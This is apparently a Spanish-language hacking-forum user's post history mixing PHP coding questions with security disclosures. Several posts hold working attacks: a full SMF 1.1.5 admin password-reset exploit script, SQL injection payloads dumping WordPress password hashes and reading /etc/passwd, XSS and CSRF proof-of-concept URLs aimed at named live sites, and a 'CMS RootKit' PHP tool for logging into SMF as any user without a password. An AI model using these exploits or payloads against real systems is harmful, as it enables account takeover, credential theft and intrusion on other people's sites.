No quiero reestablecer los archivos de configuración porque son demasiados cambios y muchos procesos asociados a el y creo que esta sería algo así como la última opción.

Gracias.
#376
Estoy atascado en una función que necesito crear, la idea es poder debolver el valor mas alto que aparezca en la columna 'id', para eso lo que hize fue seleccionar todo, ordenar con sort() y tomar el último valor, pero la idea es que no seleccione todo ya que sería una carga innecesaria hacia la base de datos, tampoco me sirve contar con mysql_num_rows() porque a veces los ids se eliminan y quedan sin un orden fijo.

Alguna idea?

es para un brigde en smf que estoy haciendo y no quiero duplicar un id member
#377
PHP / [Proyecto] GreenCode-Coder V1.1.3
8 Octubre 2008, 23:22 PM
Hola, estoy haciendo un codificador de múltiples algoritmos parecido al sneak (vease sneak) pero creando cada función yo mismo.

Quería saber si alguien desea aportar al proyecto y poder aprender cada ves mas de forma unida.

La fuente la dejo => acá
y el demo => acá

La idea es hacer un solo codificador y decodificador para cualquier tipo de tarea que necesitemos.

La conversión puede ser en cualquier formato que pueda ser escrito o descargado.

Si alguien quiere dar algún aporte aparecerá en el readme que integraré cuando lo suba a sourceforge.


V1.1.3 Conversiones soportadas: 21 (11/10/2008)


  • Ascii a Base64
  • Ascii a decimal
  • Ascii a Hexadecimal
  • Ascii a HTML (con semicolones)
  • Ascii a HTML (sin semicolones)
  • Ascii a HTMLSpecialChars
  • Ascii a MD5
  • Ascii a Octal
  • Ascii a PHP(Base64+GZ+Hexa)
  • Ascii a PNG PHP
  • Ascii a Sha1
  • Ascii a SQLi DWord(0x00)
  • Ascii a SQLi Char(dec)
  • Ascii a Unescape javascript
  • Ascii a Urlencode
  • Base64 a Ascii
  • Hexadecimal a Decimal
  • Octal a Decimal
  • PHP(Base64+GZ+Hexa) a Ascii
  • Protección de código PHP
  • Urlencode a Ascii
  • Hexadecimal a Ascii
  • Ascii a Binario IO
  • Binario IO a Ascii
  • Decimal a Ascii
  • htmlspecialchars_decode
  • Decimal a octal
  • Generar htpasswd md5
  • Generar htpasswd sha
  • Generar htpasswd crypt

Ejemplo
ASCII a SQLi DWord(0x00) =>
../../../../../etc/passwd =>
funcion(0x2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764)

Uso

http://www.site.com/?page_id=-1+union+select+1,load_file(0x2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764),3



Ideas, aportes, opiniones, criticas contructivas y no constructivas?¿?
#378
Nivel Web / SMF 1.1.6 Filter Post Bypass
4 Octubre 2008, 10:15 AM
Bueno en realidad esto lo pude descubrir o redescubrir pero hasta ahora nadie lo ha posteado en ningún lado, se trata sobre un sistema de foros llamado Simple Machines Forum donde puedes administrar el tipo de contenido que puede tener el foro, por ejemplo puedes evitar entre comillas que alguier escriba la palabra "fuck" o "n00b", etc pero es muy facil de sobrepasar tal sistema de seguridad:

    fu[b][/b]ck you!

El problema está en que SMF no verifica si algún BBCode es núlo insertando divisiones de estilos en el post y en algunos casos sin ser cerrados causando un pequeño deface en la página evitando filtros de spam y control de palabras.

En algunos casos sitios webs donde debes registrarte para ver los links puedes utilizar esta técnica para bypasear su MOD que impide su visualización interrumpiendo los carácteres "http://"

Aquí una demostración:



Fuente:
http://www.jccharry.com/blog/2008/10/04/whk_smf-116-filter-post-bypass.html
http://milw0rm.com/exploits/6665
#379
PHP / Incluir un php en todas las páginas?
14 Septiembre 2008, 22:53 PM
Hola,
Necesito saber si alguien sabe como puedo incluir un archivo php en todas las demás páginas.. me explico..

La idea es que al hacer una petición GET a un php este comienze automáticamente incluyendo el archivo 1.php como cabecera y después que se ejecute el resto.

Habrá alguna configuración en htaccess para que haga esto? con el mod rewrite no puedo porque estoy utilizando permalinks en algunas partes de mi servidor y necesito que un sistema de logueo se encargue de filtrar todas las peticiones que pasen por ellas, blog, portal, todo. La idewa es no hacer un include a todo ya que hay páginas que no siempre son index.php y tendría que modificarlos cada ves que salga alguna actualización de ellos.

Algo así como lo hace iespana que cuando ves un archivo html te incrusta su publicidad arriba automáticamente sea cual sea la página si es html.
#380
Estaba mirando el sitio oficial de mkportal y pude ver que para visualizar una sección utiliza inclusiones hacia el archivo con el nombre de la variable "show" + .php
Por ejemplo:
http://www.mkportal.es/mkportal/modules/docs/index.php?show=copyright

En realidad está haciendo una inclusión hacia:
http://www.mkportal.es/mkportal/modules/docs/content/copyright.php

En el cual no verifica si realmente puede ser incluido o existe aquella página como se ve en el siguiente ejemplo:
http://www.mkportal.es/mkportal/modules/docs/index.php?show=fuck
CitarWarning: require_once(content/fuck.php) [function.require-once]: failed to open stream: No such file or directory in /home/mkportal/domains/mkportal.es/public_html/mkportal/modules/docs/index.php on line 150

Fatal error: require_once() [function.require]: Failed opening required 'content/fuck.php' (include_path='.:/usr/local/lib/php') in /home/mkportal/domains/mkportal.es/public_html/mkportal/modules/docs/index.php on line 150

Y si hacemos una petición GET directamente a un archivo nos resulta..
http://www.mkportal.es/mkportal/modules/docs/content/copyright.php
CitarFatal error: Class 'module' not found in /home/mkportal/domains/mkportal.es/public_html/mkportal/modules/docs/content/copyright.php on line 6

Aumentando las probabilidades de una inclusión remota o talves solo local. Probé inyectando null bytes para evadir la extensión pero no fue posible, si ingresas un punto, slqsh o algún caracter que no sea número o letra te lo toma como nó válido, a exepción de un byte nulo como "%00" asi que el resto será solo cosa de imaginación.

REFERENCIA:
http://www.jccharry.com/fake/1.txt
#381
Nivel Web / Quieres ser admin en un foro SMF 1.1.5?
7 Septiembre 2008, 04:57 AM
El único inconveniente es que funciona para servidores que corren con Window$  :P (windows pwned!)

código:
Código (php) [Seleccionar]
<?php
echo "---------------------------------------------------------------\n";
echo 
"SMF <= 1.1.5 Admin Reset Password Exploit (win32-based servers)\n";
echo 
"(c)oded by Raz0r (http://Raz0r.name/)\n";
echo 
"---------------------------------------------------------------\n";

if (
$argc<3) {
   echo 
"USAGE:\n";
   echo 
"~~~~~~\n";
   echo 
"php {$argv[0]} [host] [path] OPTIONS\n\n";
   echo 
"[host] - target server where SMF is installed\n";
   echo 
"[path] - path to SMF\n\n";
   echo 
"OPTIONS:\n";
   echo 
"--userid=[value] (default: 1)\n";
   echo 
"--username=[value] (default: admin)\n";
   echo 
"examples:\n";
   echo 
"php {$argv[0]} site.com /forum/\n";
   echo 
"php {$argv[0]} site.com / --userid=2 --username=odmen\n";
   die;
}

/**
* Software site: http://www.simplemachines.org
*
* SMF leaks current state of random number generator through hidden input parameter `sc`
* of the password reminder form:
*
* $_SESSION['rand_code'] = md5(session_id() . rand());
* $sc = $_SESSION['rand_code'];
*
* Since max random number generated with rand() on win32 is 32767 and session id
* is known an attacker can reverse the md5 hash and get the random number value.
* On win32 every random number generated with rand() is used as a seed for the next
* random number. So if SMF is installed on win32 platform an attacker can predict
* all the next random numbers. When password reset is requested SMF uses rand()
* function to generate validation code:
*
* $password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10);
*
* So prediction of the validation code is possible and an atacker can set his
* own password for any user.
*
* More information about random number prediction:
* http://www.suspekt.org/2008/08/17/mt_srand-and-not-so-random-numbers/
*
* More information about the behaviour of rand() on win32 (in Russian):
* http://raz0r.name/articles/magiya-sluchajnyx-chisel-chast-2/
*/

set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",10);

$host $argv[1];
$path $argv[2];

for(
$i=3;$i<=$argc;$i++){
   if(isset(
$argv[$i]) && strpos($argv[$i],"--userid=")!==false) {
       list(,
$userid) = explode("=",$argv[$i]);
   }
   if (isset(
$argv[$i]) && strpos($argv[$i],"--username=")!==false) {
       list(,
$username) = explode("=",$argv[$i]);
   }
}

if(!isset(
$userid))$userid="1";
if(!isset(
$username))$username="admin";

$sess md5(mt_rand());
echo 
"[~] Connecting to $host ... ";
$ock fsockopen($host,80);
if(
$ock) echo "OK\n"; else die("failed\n");

$packet "GET {$path}index.php?action=reminder HTTP/1.1\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cookie: PHPSESSID=$sess;\r\n";
$packet.= "Keep-Alive: 300\r\n";
$packet.= "Connection: keep-alive\r\n\r\n";

fputs($ock$packet);

while(!
feof($ock)) {
   
$resp fgets($ock);
   
preg_match('@name="sc" value="([0-9a-f]+)"@i',$resp,$out);
   if(isset(
$out[1])) {
       
$md5 $out[1];
       break;
   }
}

if(
$md5) {
   
$seed getseed($md5);
   if(
$seed) {
       echo 
"[+] Seed for next random number is $seed\n";
   } else die(
"[-] Can't calculate seed\n");
}
else die(
"[-] Random number hash not found\n");

function 
getseed($md5) {
   global 
$sess;
   for(
$i=0;$i<=32767;$i++){
       if(
$md5 == md5($sess $i)) {
           return 
$i;
       }
   }
}

$sc md5($sess $seed);
$data   "user=".urlencode($username)."&sc=$sc";
$packet "POST {$path}index.php?action=reminder;sa=mail HTTP/1.1\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cookie: PHPSESSID=$sess;\r\n";
$packet.= "Connection: close\r\n";
$packet.= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet.= "Content-Length: ".strlen($data)."\r\n\r\n";
$packet.= $data;

fputs($ock$packet);

$resp='';
while(!
feof($ock)) {
   
$resp .= fgets($ock);
}

if(
preg_match("@HTTP/1.(0|1) 200 OK@i",$resp)===false) {
   die(
"[-] An error ocurred while requesting validation code\n");
}

if(
strpos($resp,"javascript:history.go(-1)")!==false) {
   die(
"[-] Invalid username\n");
}

srand($seed);
for(
$i=0;$i<6;$i++){
   
rand();
}
$password substr(preg_replace('/\W/'''md5(rand())), 010);
echo 
"[+] Success! To set password visit this link:\nhttp://{$host}{$path}index.php?action=reminder;sa=setpassword;u={$userid};code=$password\n";
?>


# milw0rm.com [2008-09-06]


Fuentes:
http://milw0rm.com/exploits/6392
http://www.jccharry.com/blog/2008/09/07/whk_vulnerabilidad-en-sistema-de-foros-smf-115-y-versiones-anteriores.html
#382
No se si soy yo que ando con la mala suerte pero me he encontrado con todos los contras de este nuevo explorador de google :(

acá dejo el mensaje que intenté dejar en el foro de discució de google chrome pero no pude.

Citar1. "Debates > Sugerencias > Sugerencias y problemas d google chrome"
=> le falta una "de" :P

2. "Error 2 (net::ERR_FAILED): Error desconocido." => Eso sucede al
visitar un sitio con el protocolo FTP sin conexión, ahora cuando
ingreso "http://www.noexistolalalla%27%22%3E%3Ch1%3Ea.com/" dice
"Error 300 (net::ERR_INVALID_URL): Error desconocido.", claro, ahora
veo que la mayoría de los errores arrojados no son definidos por el
explorador pero si por la librería.

3. ¿Porque solo se lanzó para Windows y no para linux?

4. Me hace falta el botón "home" para no tener que posicionar el mouse
sobre la barradel explorador y escribir.

5. Podría haber alguna compatibilidad con addons de Firefox *.xpi para
utilizar mis complementos necesarios como noscript y cookiesedit?

6. al descargar un archivo me aparecen las opciones abajo pero no me
da la opción de "cancelar!!" y tampoco me da la opción de cancelar
todas... quepasaría si alguien me lanza una bomba de iframes hacia
archivos fakes descargables? me llenaría la bandeja de descargas sin
poder eliminarlas todas.

7. en los textboxs de los alerts de javascript podría dar la opción de
seleccionar el texto para poder copiar y pegar en caso de que se
necesite al igual que firefox en ubuntu.

------- EDITADO -------

Acabo de tener un encontrón con el explorador de google :/

Lo que hice fue pedir una url muy larga donde ovbiamente no existía y este me redireccionó hacia una pantala con el logo de google donde decía que la dirección dns no era válida, traté de ver el código fuente pero no me dejaba asi que con el botón derecho le di copiar dirección url de la imagen (logo de google) y pegué en otra pestaña y pude evr que este se localizaba en el sertvidor de google y no en mi localhost, antes de dar enter me apareció un error y se frizó causando una denegación de servicio y dandome la opción de reiniciar el explorador, no obstante me arrojó otra pantalla donde decía que no se podía cerrar la pestaña asi que me daba la opción de cerrar el explorador por completo desmintiendo el mito que decian en el video que si una pestaña fallaba entonces las demas quedaban intactas.
al reiniciar este me seguía arrojando errores y ya no puedo volver a iniciarlo con normalidad. Tube que entrar con firefox :/

AppName: chrome.exe    AppVer: 0.0.0.0    ModName: chrome.dll
ModVer: 0.2.149.27    Offset: 0005bda6

http://img148.imageshack.us/img148/6228/error003ww1.png
http://img148.imageshack.us/img148/4452/error002sp1.png

Y para rematar este foro me lanza un error y no puedo postear este tema ¬¬ tube que borrar el anterior y crearlo nuevamente.
http://img386.imageshack.us/img386/8642/error004zg8.png

Probaré desintalando :(

Las imagenes:






Estubo buena la idea de separar las ventanas por procesos pero el dr watson te mata el proceso padre asi que se terminan cerrando todas las pestañas por igual  :xD

Ahora que busco el contacto para reportar esto el sitio de google me manda a un error 404  :¬¬ y para reportar bugs debo iniciar el explorador que no quiere iniciar  :¬¬ que rabia, mejor me quedo con mi firefox, es mas estable y seguro pero no mas rápido  :P la estabilidad y seguridad no la transo por la rapidez, que se jodan los usuarios que les guste jugar mientras los mandan a chingar con DoS, yo prefiero ff.

Editado:

Cuando inicias por primera ves el chrome este te crea un archivo llamado "First Run" sin ningún contenido dentro y al reiniciarlo se iicia normal pero.. que pasa si borramos ese archivo? comienza a importar todo nuevamente y aparecen todas las vienvenidas. aunque es un poco molesto podrían haberlo hecho guardando los valores dentro del registro del sistema no?

Lo bueno de acá es que puedes editar tus mensajes si quieres añadir algo o responderte :p no como en los foros de gogle que con suerte te dejan enviar un mensaje por dia XD
#383
Nivel Web / [°] CSRF en foros SMF => 1.1.5
23 Agosto 2008, 09:41 AM
Por un foro limpio y ordenado vivan los CSRF de SMF 1.1.5  :P

visualiza el index del foro.

Fuente:
http://www.jccharry.com/comunidad/index.php?board=8.0

[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=1&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=2&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=4&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=6&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=9&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=10&url=http://foro.elhacker.net/[/img]
#385
Bueno, he encontrado una falla que permitiría crear un post y no permitir que alguien pueda responder o que algún administrador/moderador pueda borrartelo.

Esta falla afecta a la mayoría de los sistemas en el cual puedes postear o crear usuarios en linea y no tan solo foros.

La explicación está acá:

Fuente:
http://foro.new-bytes.net/f28/vulnertabilidad-universal-en-foros-y-blogs-t344.html
#386
Necesito manipular un sitio que trabaja solamente con https utilizando Sockets y no ieframe.

Alguien sabe algo del tema???

Por ahi leí algo sobre winsock 2.0 pero creo que es solo para .net y yo lo necesito para vb6.
#387
Nivel Web / XSS en el instalador de SMF
19 Mayo 2008, 00:24 AM
Curosiando unos minutos encontré algunos instaladores de smf y me di cuenta que la variable  pass_string tiene XSS en método GET.

POC:
http://casa.zimzum.es/smf/install.php?obgz=1&pass_string=<h1>WHK
http://www.evolutiv.eu/SMF/install.php?&obgz=1&pass_string=<h1>WHK
http://world-eyes.fr/smf/install.php?obgz=1&pass_string=<h1>WHK
http://www.pelusonas.com/foro/install.php?obgz=1&pass_string=<h1>WHK


Fuente:
http://www.google.cl/search?hl=es&q=allinurl%3Asmf+%2B+install.php

Salu2.
#388
estuve buscando como modificar la mascara de un formulario y encontré muchas cosas como por ejemplo el vbskinner y el actskin4.ocx pero cuando necesito crear pequeños programas resulta muy molestoso incluir un chingo de librerías para un programa que pesa 100 kilos.

Intenté crear mis propios skins con controles de usuario pero de igual forma resulta un poco tedioso porque hay que modificar el formulario son bordes y pegar el control encima y es muy tedioso crear los botones.

Pensaba que talves habría alguna api o algo que me pudiera permitir manejar estos efectos visuales sin la necesidad de librerías extras, de esta forma solo necesitaría crear controles de usuario sin importar calcular tamaño del formulario ni nada.

Hay alguna fuente de actskin4.ocx o algo que me permita estudiar como hacerlo manualmente sin librerías extras?
#389
El post anterior fue borrado a falta de la fuente original de la noticia por lo cual lo expongo nuevamente.


Mirando unas revistas sobre seguridad informática, pude encontrar esta donde al parecer lo de la seguridad es tan solo un producto que se ofrece en hojas pero nada en la verdadera práctica (Como dicen.. en casa de herrero, cuchillo de palo).

Encontré múltiples vulnerabilidades de tipo Inyección SQL además de variados XSS (Cross Site Scripting) en casi todos sus formularios.

Por ejemplo:
http://www.megamultimedia.com/arroba/suscripciones/paso1.asp?idrevista=[SQL INYECCION]

Donde en este:
http://www.megamultimedia.com/arroba/suscripciones/

Y muchos otros directorios desvelan sus páginas llenas de bugs.

Las múltiples vulnerabilidades ya fueron avisadas y espero que pronto las reparen ya que tienen en juego tanto al propio servidor como a los usuarios de su foro.

Fuente:
http://whk.h4ck1ng.net/2007-12.26/inyeccion-sql-y-xss-en-el-servidor-de-la-revista-rroba/
#390
PHP / Operación aritmética
20 Diciembre 2007, 09:23 AM
Hola.
Tengo el siguiente caso:

$operacion = "1+5-8/7";

Y necesito que me haga la operación completa y que me la imprima en pantalla, quería saber si existe alguna función que lo haga automaticamente o no para ver la posibilidad de separar numeros de simbolos e ingeniarmela para que realize cada operación necesaria.

Se supone que $operación debería ir en una variable, o sea que verías un formulario donde diga "ingrese la operación" y escribes 1+5-8/7 y al dar enter debría aparecer el resultado.
#391
Una vulnerabilidad de tipo Inyección SQL fue encontrada en wordpress sobre las versiones 2.3 y posteriores.

Localmente hice pruebas y la version 2.3.1 no es afectada, de todas formas es recomendable utilizar sistemas de protección adicionales como PHPIDS o filtros que impidan un query con inyecciones SQL.

Ejemplo:

    http://localhost/wordpress/index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/  UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/    FROM/**/wp_users%23

Esto también puede complementarse con una noticia posterior donde puedes tener acceso como administrador con tan solo tener acceso de lectura a la base de datos:
http://whk.h4ck1ng.net/2007-11.20/vulnerabilidad-en-la-autentificacion-de-cookies-dentro-de-wordpress/

Fuentes:
http://www.abelcheung.org/advisory/20071210-wordpress-charset.txt
http://www.cl.cam.ac.uk/~sjm217/advisories/wordpress-cookie-auth.txt
http://whk.h4ck1ng.net/2007-11.20/vulnerabilidad-en-la-autentificacion-de-cookies-dentro-de-wordpress/
http://seclists.org/bugtraq/2007/Dec/0127.html
http://trac.wordpress.org/ticket/2394
http://seclists.org/bugtraq/2007/Nov/0274.html
http://h4ck1ng.net/index.php/topic,1036.0.html
http://whk.h4ck1ng.net/2007-12.15/inyeccion-sql-en-wordpress-23-y-posteriores/

También está el pwnpress que hace todo el trabajo sucio automaticamente :P


http://www.info-pull.com/code.dynp
#392
PHP / Fork en php
8 Diciembre 2007, 09:26 AM
Hola, estaba tratando de crear un port scanning en php pero de mucha velocidad donde se creara un proceso por cada 100 puertos para que fuera algo muy rápido pero me encontré con la sorpresa que no existe fork en php y me arrojó un error al ejecutarlo :-/

Busqué en php.net y encontré la función proc_open() que talvés pueda simular una función fork ejecutando /usr/local/bin/php para poder crear una función legitima fork(), me pueden dar una mano? :P

Por ejemplo:

Código (php) [Seleccionar]
$puerto = 1;
while ($puerto <= 1000) {
if(!@fsockopen($host, $puerto, $errno, $errstr, 30)) {
  echo "$puerto cerrado<br />\n";
} else {
  echo "$puerto abierto<br />\n";
}
$puerto++;
}


Hacerlo tardaría muchisimo pero con fork sería una solución
Código (php) [Seleccionar]

function escanear($host, $puerto_desde, $puerto_hasta){
while ($puerto_desde <= $puerto_hasta) {
  if(!@fsockopen($host, $puerto_desde, $errno, $errstr, 30)) {
   echo "$host:$puerto_desde cerrado<br />\n";
  } else {
   echo "$host:$puerto_desde abierto<br />\n";
  }
  $puerto_desde++;
}
}

escanear("127.0.0.1", "1", "1000");
escanear("192.168.1.69", "1", "1000");
escanear("200.200.200.200", "1", "1000");
escanear("10.10.10.10", "1", "1000");
escanear("216.93.175.75", "1", "1000");
etc....


Imagina todo esto en diferentes procesos, uno por cada escaneo.
#393
PHP / CMS RootKit by WHK
8 Diciembre 2007, 02:00 AM
Hola, estoy creando un sistema en PHP que se basa en la administración de sistemas CMS, la idea es poder aprender de cada uno... smf, wordpress, etc.

Por ejemplo con tan solo visualizarlo en un directorio de smf podras iniciar seción como cualquier usuario sin la necesidad del password entendiendo la estructura de la cookie, tambien quiero hacerlo para wordpress entre otras cosas mas.

Hice la pagina pero quiero subirla como pagina demostrativa en http://lab.jccharry.com/ pero para eso necesito verificar bien que no tenga alguna vulnerabilidad como por ejemplo alguna inyección sql ya que se basa en consultas a la base de datos. De todas formas lo haré en una cuenta aparte sin derechos de sobreescribir nada ni de leer otras bases de datos pero prefiero evitar antes que lamentar.

Código (php) [Seleccionar]
<?php

#################################################
# Archivo  : rk.php #
# Nombre  : CMS RootKit #
# Version : 2.3 Beta     #
# Autor   : WHK          #
# Sistemas CMS soportados : SMF 1.1.4 #
#################################################

// Declaraciones, variables y constantes ============================================
$rk_path_smf "./Settings.php";
$rk_path_wordpress "./wp-config.php";
$rk_cms  rk_filtro($_GET["CMS"]);
$rk_id rk_filtro($_GET["id"]);
// $rk_tipo_user = rk_filtro($_GET["tipo_user"]);
$rk_username rk_filtro($_GET["username"]);
$rk_cookiename urlencode($_GET["cookiename"]);
$rk_id_MEMBER rk_filtro($_GET["ID_MEMBER"]);
$rk_id_GROUP rk_filtro($_GET["ID_GROUP"]);
$rk_passwd rk_filtro($_GET["passwd"]);
$rk_passwordSalt rk_filtro($_GET["passwordSalt"]);
$rk_header "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">
<html>
<head>
<title>CMS RootKit by WHK</title>
</head>
<body style=\"color: rgb(255, 255, 255); background-color: rgb(102, 0, 0);\" alink=\"white\" link=\"white\" vlink=\"white\">\n<div style=\"text-align: center;\">
<big>
<span style=\"font-weight: bold;\"><a href=\"?\">CMS RootKit by WHK</a></span>
</big><br />
</div><br /><br />
<table style=\"text-align: center; width: 100%; font-weight: bold;\" border=\"0\">
<tbody>
<tr>
<td>Herramientas</td>
</tr>
</tbody>
</table>
<table style=\"text-align: center; width: 100%;\" border=\"1\" cellpadding=\"0\" cellspacing=\"0\">
<tbody>
<tr>
<td><a href=\"?CMS=crear\">Crear cookie</a></td>
</tr>
</tbody>
</table>
<br /><br />"
;
$rk_footer "</body>
</html>"
;
$rk_consola_a "<span style=\"font-style: italic; font-weight: bold;\">Debugger</span><br />
<table style=\"text-align: left; width: 100%; color: rgb(51, 255, 51);\" border=\"2\" cellpadding=\"0\" cellspacing=\"0\">
<tbody>
<tr>
<td style=\"background-color: rgb(0, 0, 0);\">\n"
;
$rk_consola_b "</td>
</tr>
</tbody>
</table>\n"
;
$rk_contenido_1 "<br /><br />
<span style=\"font-weight: bold;\"> Haz click sobre el sistema CMS que deseas administrar.</span>\n"
;
$rk_contenido_2 "<span style=\"font-weight: bold;\">Ingrese el nombre de usuario registrado para iniciar seci&oacute;n, o si 
lo prefieres puedes ingresar &uacute;nicamente el numero de usuario registrado.
(No se requiere password).<br /><br />
</span>
<form method=\"get\">
<input name=\"CMS\" value=\"SMF\" type=\"hidden\">
<table border=\"0\" cellpadding=\"1\" cellspacing=\"0\">
<tbody>
<tr>
<td>Username:&nbsp;</td>
<td><input name=\"username\" type=\"text\"></td>
<td><input value=\"Ingresar\" type=\"submit\"></td>
</tr>
</form>
<form method=\"get\">
<input name=\"CMS\" value=\"SMF\" type=\"hidden\">
<tr>
<td>Id N&ordm;:&nbsp;</td>
<td><input name=\"id\" type=\"text\"></td>
<td><input value=\"Ingresar\" type=\"submit\"></td>
</tr>
</tbody>
</table>
</form>\n"
;
$rk_error_1 "Falta cookiename";
$rk_error_2 "Falta ID_MEMBER";
$rk_error_3 "Falta passwd";
$rk_error_4 "Falta passwordSalt";
$rk_error_5 "Falta ID_GROUP";
$rk_comando_0 "root@system:~$ <br />\n";
$rk_comando_1 "root@system:~$ rk&nbsp;-cms verificar<br />\n";
$rk_comando_2 "root@system:~$ rk&nbsp;-cms $rk_cms<br />\n";
$rk_comando_3 "root@system:~$ rk&nbsp;-cms $rk_cms -username $rk_username<br />\n";
$rk_comando_4 "root@system:~$ rk&nbsp;-cms $rk_cms -cookiename $rk_cookiename -ID_MEMBER $rk_id_MEMBER -passwd *** -passwordSalt $rk_passwordSalt<br />\n";
// ==================================================================================

// Funciónes ========================================================================
// Filtro ---------------------------------------------------------------------------
function rk_filtro($rk_input){
 
$rk_referer htmlspecialchars($_SERVER['HTTP_REFERER']);
 
$rk_filtro = array("`""´"'"'"<"">"";""'""%60""%C2%B4""%22""%3E""%3C","%27""%25""%");
 for (
$rk_i=0$rk_i count($rk_filtro) ; $rk_i++) {
  if(
eregi($rk_filtro[$rk_i],$rk_input)) { 
 echo 
"<center>Por razones de seguridad no puede mostrarse la p&aacute;gina debido a que has ingresado<br />
uno o mas caracteres prohibidos ("
.htmlspecialchars($rk_filtro[$rk_i]).") dentro de alg&uacute;n campo.<br /><br />
<a href=\"
$rk_referer\">Buelva a intentarlo por favor</a>.</center>\n";
   exit(
1);
  }
 }
return 
mysql_escape_string(htmlspecialchars($rk_inputENT_QUOTES));
}
// ----------------------------------------------------------------------------------

// Verificación de sistemas CMS -----------------------------------------------------
function rk_verificar($rk_vcms$rk_path){
 if (
file_exists($rk_path)) {
  
rk_consola("Se ha detectado un sistema <a style=\"color: rgb(51, 255, 51);\" href=\"?CMS=$rk_vcms\">$rk_vcms</a> en este directorio.");
  return 
false;
 } else {
  return 
true;
 }
}
// ----------------------------------------------------------------------------------

// Mensaje de error -----------------------------------------------------------------
function rk_error($rk_ferror){
 echo 
"<font style='color: red'>[!] $rk_ferror</font><br />\n";
 return 
true;
}
// ----------------------------------------------------------------------------------

// Mensaje rojo ---------------------------------------------------------------------
function rk_msg_rojo($rk_fcolor){
 echo 
"<span style=\"font-weight: bold; color: rgb(204, 0, 0);\">$rk_fcolor</span>";
}
// ----------------------------------------------------------------------------------

// Mensaje verde --------------------------------------------------------------------
function rk_msg_verde($rk_fcolor){
 echo 
"<span style=\"font-weight: bold; color: rgb(0, 153, 0);\">$rk_fcolor</span>";
}
// ----------------------------------------------------------------------------------

// Mensaje multicolor ---------------------------------------------------------------
function rk_msg_multicolor($rk_fcolor$verificar){
 if(
$verificar == "1"){
  
rk_msg_rojo($rk_fcolor);
 } else {
  
rk_msg_verde($rk_fcolor);
 }
}
// ----------------------------------------------------------------------------------

// Mensaje de consola ---------------------------------------------------------------
function rk_consola($rk_fconsola){
 echo 
"[*] $rk_fconsola<br />\n";
}
// ----------------------------------------------------------------------------------
// ==================================================================================

// Inicio ===========================================================================
if($rk_cms == ""){
 echo 
$rk_header;
 echo 
$rk_consola_a;
 echo 
$rk_comando_1;
 
rk_consola("Verificando sistemas CMS ...");

// Verificando sistemas CMS... -----------------------------------------------------
 
if (!rk_verificar("SMF"$rk_path_smf)) {
  
$rk_b "1";
 }

 if (!
rk_verificar("Wordpress"$rk_path_wordpress)) {
  
$rk_b "1";
 }
// ----------------------------------------------------------------------------------

 
if ($rk_b != "1") {
  
rk_error("No se ha detectado ning&uacute;n sistema CMS.<br />\n");
  echo 
"<br />$rk_comando_0\n";
  echo 
$rk_consola_b;
  echo 
$rk_footer;
  exit(
1);
 } else {
  echo 
"<br />$rk_comando_0\n";
  echo 
$rk_consola_b;
  echo 
$rk_contenido_1;
  echo 
$rk_footer;
  exit(
0);
 }
}
// ==================================================================================

// Crear cookie =====================================================================
$rk_e "1";
if(
$rk_cms == "crear") {
if (
$rk_cookiename == "") { $rk_f1 "1"  $rk_e++ ; }
if (
$rk_id_MEMBER == "") { $rk_f2 "1"  $rk_e++ ; }
if (
$rk_passwd == "") { $rk_f3 "1"  $rk_e++ ; }
if (
$rk_passwordSalt == "") { $rk_f4 "1"  $rk_e++ ; }
if (
$rk_id_GROUP == "") { $rk_f5 "1"  $rk_e++ ; }
if (
$rk_e == "6") {
 echo 
$rk_header;
 echo 
"<span style=\"font-weight: bold; text-decoration: underline;\">SMF</span>
<form method=\"get\">
<table style=\"text-align: left; width: 100%;\" border=\"1\"
 cellpadding=\"1\" cellspacing=\"0\">
  <tbody>
    <tr>
      <td>
      <input name=\"CMS\" value=\"crear\" type=\"hidden\">
      <table border=\"0\" cellpadding=\"1\" cellspacing=\"0\">
        <tbody>
          <tr>
            <td>cookiename:&nbsp;</td>
            <td><input name=\"cookiename\" type=\"text\"></td>
          </tr>
          <tr>
            <td>ID_MEMBER:&nbsp;</td>
            <td><input name=\"ID_MEMBER\" type=\"text\"></td>
          </tr>
          <tr>
            <td>Passwd (HASH):&nbsp;</td>
            <td><input name=\"passwd\" type=\"text\"></td>
          </tr>
          <tr>
            <td>passwordSalt:&nbsp;</td>
            <td><input name=\"passwordSalt\" type=\"text\"></td>
          </tr>
          <tr>
            <td>ID_GROUP:&nbsp;</td>
            <td><input name=\"ID_GROUP\" type=\"text\"></td>
            <td><input value=\"Generar cookie\" type=\"submit\"></td>
          </tr>
        </tbody>
      </table>
      </td>
    </tr>
  </tbody>
</table>
</form>
<br />
Ingresa los siguientes datos para generar tu cookie."
;
 echo 
$rk_footer;
} else {
if (
$rk_e  >= "2") { 
 echo 
"$rk_header $rk_consola_a $rk_comando_4";
 if (
$rk_f1 == "1") { rk_error("$rk_error_1"); }
 if (
$rk_f2 == "1") { rk_error("$rk_error_2"); }
 if (
$rk_f3 == "1") { rk_error("$rk_error_3"); }
 if (
$rk_f4 == "1") { rk_error("$rk_error_4"); }
 if (
$rk_f5 == "1") { rk_error("$rk_error_5"); }
 echo 
"<br />$rk_comando_0\n$rk_consola_b ";
 echo 
"<br /><span style=\"font-weight: bold; text-decoration: underline;\">SMF</span>
<form method=\"get\">
<table style=\"text-align: left; width: 100%;\" border=\"1\"
 cellpadding=\"1\" cellspacing=\"0\">
  <tbody>
